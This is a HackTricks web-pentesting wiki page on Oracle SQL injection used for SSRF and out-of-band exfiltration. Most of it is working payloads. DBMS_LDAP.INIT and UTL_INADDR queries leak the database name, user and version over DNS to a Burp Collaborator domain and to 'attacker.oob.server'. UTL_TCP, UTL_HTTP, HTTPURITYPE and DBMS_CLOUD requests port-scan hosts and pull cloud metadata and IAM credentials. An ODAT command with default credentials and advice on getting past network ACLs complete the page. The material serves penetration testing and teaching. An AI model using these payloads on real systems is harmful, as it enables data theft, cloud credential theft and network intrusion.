oracle-injection.md (12671B)
1 --- 2 title: "Oracle injection" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/sql-injection/oracle-injection.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/oracle-injection.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Oracle injection 14 15 **Serve this post a wayback machine copy of the deleted post from [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.<sup>[[3]](#references)</sup> 16 17 ## SSRF 18 19 Using Oracle to do Out of Band HTTP and DNS requests is well documented but as a means of exfiltrating SQL data in injections. We can always modify these techniques/functions to do other SSRF/XSPA.<sup>[[3]](#references)</sup> 20 21 Installing Oracle can be really painful, especially if you want to set up a quick instance to try out commands. My friend and colleague at [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), pointed me to [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) that allowed me to setup an instance on a t2.large AWS Ubuntu machine and Docker. 22 23 I ran the docker command with the `--network="host"` flag so that I could mimic Oracle as an native install with full network access, for the course of this blogpost. 24 25 ```text 26 docker run -d --network="host" quay.io/maksymbilenko/oracle-12c 27 ``` 28 29 #### Oracle packages that support a URL or a Hostname/Port Number specification <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a> 30 31 In order to find any packages and functions that support a host and port specification, I ran a Google search on the [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Specifically, 32 33 ```text 34 site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum" 35 ``` 36 37 The search returned the following results (not all can be used to perform outbound network) 38 39 - DBMS_NETWORK_ACL_ADMIN 40 - UTL_SMTP 41 - DBMS_XDB 42 - DBMS_SCHEDULER 43 - DBMS_XDB_CONFIG 44 - DBMS_AQ 45 - UTL_MAIL 46 - DBMS_AQELM 47 - DBMS_NETWORK_ACL_UTILITY 48 - DBMS_MGD_ID_UTL 49 - UTL_TCP 50 - DBMS_MGWADM 51 - DBMS_STREAMS_ADM 52 - UTL_HTTP 53 54 This crude search obviously skips packages like `DBMS_LDAP` (which allows passing a hostname and port number) as [the documentation page](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) simply points you to a [different location](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Hence, there may be other Oracle packages that can be abused to make outbound requests that I may have missed. 55 56 In any case, let’s take a look at some of the packages that we have discovered and listed above. 57 58 **DBMS_LDAP.INIT** 59 60 The `DBMS_LDAP` package allows for access of data from LDAP servers. The `init()` function initializes a session with an LDAP server and takes a hostname and port number as an argument. 61 62 This function has been documented before to show exfiltration of data over DNS, like below 63 64 ```text 65 SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual; 66 ``` 67 68 However, given that the function accepts a hostname and a port number as arguments, you can use this to work like a port scanner as well. 69 70 Here are a few examples 71 72 ```text 73 SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual; 74 SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual; 75 SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual; 76 SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual; 77 ``` 78 79 A `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` shows that the port is closed while a session value points to the port being open. 80 81 **UTL_SMTP** 82 83 The `UTL_SMTP` package is designed for sending e-mails over SMTP. The example provided on the [Oracle documentation site shows how you can use this package to send an email](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). For us, however, the interesting thing is with the ability to provide a host and port specification. 84 85 A crude example is shown below with the `UTL_SMTP.OPEN_CONNECTION` function, with a timeout of 2 seconds 86 87 ```text 88 DECLARE c utl_smtp.connection; 89 BEGIN 90 c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2); 91 END; 92 ``` 93 94 ```text 95 DECLARE c utl_smtp.connection; 96 BEGIN 97 c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2); 98 END; 99 ``` 100 101 `ORA-29276: transfer timeout` indicates that the port is open but no SMTP connection was established, while `ORA-29278: SMTP transient error: 421 Service not available` indicates that the port is closed. 102 103 **UTL_TCP** 104 105 The `UTL_TCP` package and its procedures and functions allow [TCP/IP based communication with services](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). If programmed for a specific service, this package can easily become a way into the network or perform full Server Side Requests as all aspects of a TCP/IP connection can be controlled. 106 107 The example [on the Oracle documentation site shows how you can use this package to make a raw TCP connection to fetch a web page](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). We can simply it a little more and use it to make requests to the metadata instance for example or to an arbitrary TCP/IP service. 108 109 ```text 110 set serveroutput on size 30000; 111 SET SERVEROUTPUT ON 112 DECLARE c utl_tcp.connection; 113 retval pls_integer; 114 BEGIN 115 c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2); 116 retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0'); 117 retval := utl_tcp.write_line(c); 118 BEGIN 119 LOOP 120 dbms_output.put_line(utl_tcp.get_line(c, TRUE)); 121 END LOOP; 122 EXCEPTION 123 WHEN utl_tcp.end_of_input THEN 124 NULL; 125 END; 126 utl_tcp.close_connection(c); 127 END; 128 / 129 ``` 130 131 ```text 132 DECLARE c utl_tcp.connection; 133 retval pls_integer; 134 BEGIN 135 c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4); 136 retval := utl_tcp.write_line(c); 137 BEGIN 138 LOOP 139 dbms_output.put_line(utl_tcp.get_line(c, TRUE)); 140 END LOOP; 141 EXCEPTION 142 WHEN utl_tcp.end_of_input THEN 143 NULL; 144 END; 145 utl_tcp.close_connection(c); 146 END; 147 ``` 148 149 Interestingly, due to the ability to craft raw TCP requests, this package can also be used to query the Instance meta-data service of all cloud providers as the method type and additional headers can all be passed within the TCP request. 150 151 **UTL_HTTP and Web Requests** 152 153 Perhaps the most common and widely documented technique in every Out of Band Oracle SQL Injection tutorial out there is the [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). This package is defined by the documentation as - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.` 154 155 ```text 156 select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual; 157 ``` 158 159 You could additionally, use this to perform some rudimentary port scanning as well with queries like 160 161 ```text 162 select UTL_HTTP.request('http://scanme.nmap.org:22') from dual; 163 select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual; 164 select UTL_HTTP.request('http://scanme.nmap.org:25') from dual; 165 ``` 166 167 A `ORA-12541: TNS:no listener` or a `TNS:operation timed out` is a sign that the TCP port is closed, whereas a `ORA-29263: HTTP protocol error` or data is a sign that the port is open. 168 169 Another package I have used in the past with varied success is the [`GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) that allows you to interact with a URL and provides support for the HTTP protocol. The `GETCLOB()` method is used to fetch the GET response from a URL as a [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) 170 171 ```text 172 SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual; 173 ``` 174 175 --- 176 177 ## Additional Packages & Techniques (Oracle 19c → 23c) 178 179 ### UTL_INADDR – DNS-based exfiltration and host discovery 180 181 `UTL_INADDR` exposes simple name-resolution helpers that trigger an outbound DNS lookup from the database host. Because only a domain is required (no port/ACL needed) it is a reliable primitive for blind-exfil when other network callouts are blocked. 182 183 ```sql 184 -- Leak the DB name and current user via a DNS query handled by Burp Collaborator 185 SELECT UTL_INADDR.get_host_address( 186 (SELECT name FROM v$database)||'.'||(SELECT user FROM dual)|| 187 '.attacker.oob.server') FROM dual; 188 ``` 189 190 `get_host_address()` returns the resolved IP (or raises `ORA-29257` if resolution fails). The attacker only needs to watch for the incoming DNS request on the controlled domain to confirm code execution. 191 192 ### DBMS_CLOUD.SEND_REQUEST – full HTTP client on Autonomous/23c 193 194 Recent cloud-centric editions (Autonomous Database, 21c/23c, 23ai) ship with `DBMS_CLOUD`. The `SEND_REQUEST` function acts as a general-purpose HTTP client that supports custom verbs, headers, TLS and large bodies, making it far more powerful than the classical `UTL_HTTP`.<sup>[[1]](#references)</sup> 195 196 ```sql 197 -- Assuming the current user has CREATE CREDENTIAL and network ACL privileges 198 BEGIN 199 -- empty credential when no auth is required 200 DBMS_CLOUD.create_credential( 201 credential_name => 'NOAUTH', 202 username => 'ignored', 203 password => 'ignored'); 204 END; 205 / 206 207 DECLARE 208 resp DBMS_CLOUD_TYPES.resp; 209 BEGIN 210 resp := DBMS_CLOUD.send_request( 211 credential_name => 'NOAUTH', 212 uri => 'http://169.254.169.254/latest/meta-data/', 213 method => 'GET', 214 timeout => 3); 215 dbms_output.put_line(DBMS_CLOUD.get_response_text(resp)); 216 END; 217 / 218 ``` 219 220 Because `SEND_REQUEST` allows arbitrary target URIs it can be abused via SQLi for: 221 1. Internal port scanning / SSRF to cloud metadata services. 222 2. Out-of-band exfiltration over HTTPS (use Burp Collaborator or an `ngrok` tunnel). 223 3. Callbacks to attacker servers even when older callout packages are disabled by ACLs. 224 225 ℹ️ If you only have a classical on-prem 19c but can create Java stored procedures, you can sometimes install `DBMS_CLOUD` from the OCI client bundle — useful in some engagements. 226 227 ### Automating the attack surface with **ODAT** 228 229 [ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) has kept pace with modern releases (tested up to 19c, 5.1.1 – Apr-2022).<sup>[[2]](#references)</sup> The `–utl_http`, `–utl_tcp`, `–httpuritype` and newer `–dbms_cloud` modules automatically: 230 * Detect usable callout packages/ACL grants. 231 * Trigger DNS & HTTP callbacks for blind extraction. 232 * Generate ready-to-copy SQL payloads for Burp/SQLMap. 233 234 Example: quick OOB check with default creds (takes care of ACL enumeration in the background): 235 236 ```bash 237 odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob 238 ``` 239 240 ### Recent network ACL restrictions & bypasses 241 242 Oracle tightened default Network ACLs in the July 2023 CPU — unprivileged accounts now receive `ORA-24247: network access denied by access control list` by default. Two patterns still allow callouts through SQLi: 243 1. Target account owns an ACL entry (`DBMS_NETWORK_ACL_ADMIN.create_acl`) that was added by a developer for integrations. 244 2. The attacker abuses a high-privilege PL/SQL definer-rights routine (e.g. in a custom application) that *already* has `AUTHID DEFINER` and the necessary grants. 245 246 If you encounter `ORA-24247` during exploitation always search for reusable procedures: 247 248 ```sql 249 SELECT owner, object_name 250 FROM dba_objects 251 WHERE object_type = 'PROCEDURE' 252 AND authid = 'DEFINER'; 253 ``` 254 255 (in many audits at least one reporting/export procedure had the needed rights). 256 257 --- 258 259 ## References 260 261 - [1] [Oracle Docs – DBMS_CLOUD Subprograms and REST APIs (SEND_REQUEST)](https://docs.oracle.com/en-us/iaas/autonomous-database-serverless/doc/dbms-cloud-subprograms.html) 262 - [2] [quentinhardy/odat – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) 263 - [3] [Using SQL injection to perform SSRF/XSPA attacks (ibreak.software, Wayback Machine copy)](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)